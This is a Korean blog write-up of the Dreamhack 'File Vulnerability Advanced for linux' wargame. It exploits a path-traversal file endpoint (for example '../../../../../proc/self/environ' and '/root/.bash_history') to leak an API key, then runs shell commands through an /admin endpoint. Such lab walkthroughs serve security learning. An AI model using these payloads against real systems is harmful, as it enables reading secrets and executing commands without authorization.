본문 바로가기
드림핵

[드림핵] File Vulnerability Advanced for linux 풀이

by jwcs 2023. 7. 10.
728x90

https://dreamhack.io/wargame/challenges/417/

 

File Vulnerability Advanced for linux

Description Exercise: File Vulnerability Advanced for Linux에서 실습하는 문제입니다.

dreamhack.io

파일 다운로드 취약점 문제이다.

 

/

첫 화면이다. 코드를 보면서 분석해보자.

 

@app.route('/', methods=['GET'])
def index():
    return 'API Index'

방금 우리가 본 페이지다. 별 다를 것 없어 보이니 넘어가자.

 

@app.route('/file', methods=['GET'])
def file():
    path = request.args.get('path', None)
    if path:
        data = open('./files/' + path).read()
        return data
    return 'Error !'

/file 엔드포인트에서 path traversal 취약점이 보인다. 이를 인지하고 넘어가자.

 

@app.route('/admin', methods=['GET'])
@key_required
def admin():
    cmd = request.args.get('cmd', None)
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return 'Error !'

/admin 엔드포인트에서는 쉘 명령어를 입력할 수 있는 코드가 짜여있는 것을 볼 수 있다. 하지만 @key_required라는 데코레이터가 존재한다. @key_required의 코드를 살펴보자.

 

def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and apikey:
            if apikey == API_KEY:
                return view(**kwargs)
        return 'Access Denined !'
    return wrapped_view

/admin 엔드포인트의 보안상의 이유로 api_key를 사용한 인증방식을 사용하는 것으로 보인다. 

 

API_KEY란 API를 사용할 때 인증 및 권한 부여를 위해 사용하는 비밀키이다. API_KEY는 환경 변수에 저장하여 관리하는 것이 일반적이다.

 

따라서 우리는 /file 엔드포인트를 이용해서 환경변수에 있는 API_KEY를 확인할 것이다. 획득한 API_KEY를 이용해 /admin 페이지에 넣어 우리가 원하는 쉘 명령어를 사용하도록 해보자.

 

/file?path=../../../../../proc/self/environ

이 값을 url에 넣어서 환경 변수 값을 확인해보자.

 

API_KEY 값을 찾을 수 있다.

 

이 값과 실행하고 싶은 쉘 명령어를 함께 /admin 엔드포인트에 넣어주자.

 

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=ls -al /

다음과 같이 입력하면

이렇게 flag 실행파일이 보인다. 참고로 다음과 같이 보려면 우클릭 -> 페이지 소스 보기를 하면 된다.

 

이번엔 플래그를 실행시켜보자

 

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=/flag

이와 같이 입력하면

 

짜자잔

 

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

/proc/self/environ을 확인하는 방법 외에도 .bash_history를 확인해보는 방법이 있다.

.bash_history는 bash 쉘에서 사용자의 명령어 이력을 저장하는 파일이다. 환경 변수 파일에 API_ KEY 값을 설정해주기 위한 명령어 이력을 찾아보면 그 값을 찾을 수 있을 것이다.

/file?path=../../../../../../root/.bash_history

다음과 같이 root사용자의 명령어 이력을 확인해 보았다.

 

다음과 같이 API_KEY를 발견할 수 있다.

728x90
반응형